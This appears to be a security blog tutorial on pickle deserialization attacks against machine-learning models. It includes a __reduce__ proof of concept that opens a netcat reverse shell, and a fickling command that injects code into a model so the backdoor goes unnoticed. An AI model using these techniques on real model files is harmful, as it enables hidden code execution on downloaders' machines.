Machine Learning and Pickle

In machine learning, Pickle is often used to save trained models so they can be reused without retraining. After you train a model on data, Pickle can serialize the model by turninig it into a byte stream and storing it in a file. Later, you can deserialize the model from that file to use it again for predictions without going through the training process.

This is useful because training large models can take a long time, and Pickle allows you to save the model’s state and load it quickly whenever needed, saving time and computational resources. For example, once a model like a neural network or decision tree is trained, you can use Pickle to store the model and load it for future tasks, like making predictions on new data, without having to retrain the model from scratch.

‍

Pickle History

In the offensive security scene pickle has been exploited by hackers for a long time now. If an application loads an attackers pickle file it can lead to code execution. This is possible because when pickle.load() is called it will run the __reduce__ function which can be leveraged to execute shell commands. An example exploit can be found below:

‍

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
               '/bin/sh -i 2>&1 | nc 127.0.0.1 1337 > /tmp/f')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled)

As shown in the code snippet above an attacker can create a pickle file that when loaded will execute a netcat backdoor to the hackers system.

‍

Model Backdoor

We know that machine learning engineers use pickle files to save models after they have been trained. If you go on hugging face or github you will see a bunch of models being shared this way. If you want to use those models you must use the pick.load() method, if the model has a backdoor your computer could get infected. To do this we are going to inject our python code into a file that has be serialized with pickle. We have to do it this way because if you try to use the _reduce _ method the model will fail to run after the backdoor starts. If you backdoor a model you want the model to function as it did before, this way the target doesn't suspect something is wrong.

To inject our code we can use the tool fickling. This will allow us to inject python code into the model. You can download the tool below:

‍
https://github.com/trailofbits/fickling

‍

Once the tool is downloaded you can use the "inject" command to inject python code into the target model. An example command can be found below:

‍

python3 -m fickling --inject "print('Malicious')" model_normal.pickle > model_backdoor.pickle

‍

Now if you load the model it will run our command. It will also continue to function as normal so the user doesnt notice. For example if the model was designed to detect spam it will continue doing so while delivering our backdoor.
‍

with open("model_backdoor.pickle", "rb") as f:
    model = pickle.load(f)

‍

Real World Attacks

This type of backdoor isnt just theory hackers have been backdooring machine learning models for a while now. Models on hugging face have been a big distribution method for these types of attacks. If hugging face suspects a model has a backdoor they will display a warning like the image below:

‍

However, some of these malicious models go undetected. If you are ever downloading a model from the internet make sure to double check it for backdoors.

‍

‍

Conclusion

Machine learning engineering use pickle to easily share the models they train. Sites like hugging face allow these engineers to upload there models for other people to download. When running other people models make sure to check for backdoors. Hackers can use tools like fickling to implant a backdoor into an existing model and re upload it to hugging face. If you are not examining the models you use you may not notice the model your using has a backdoor.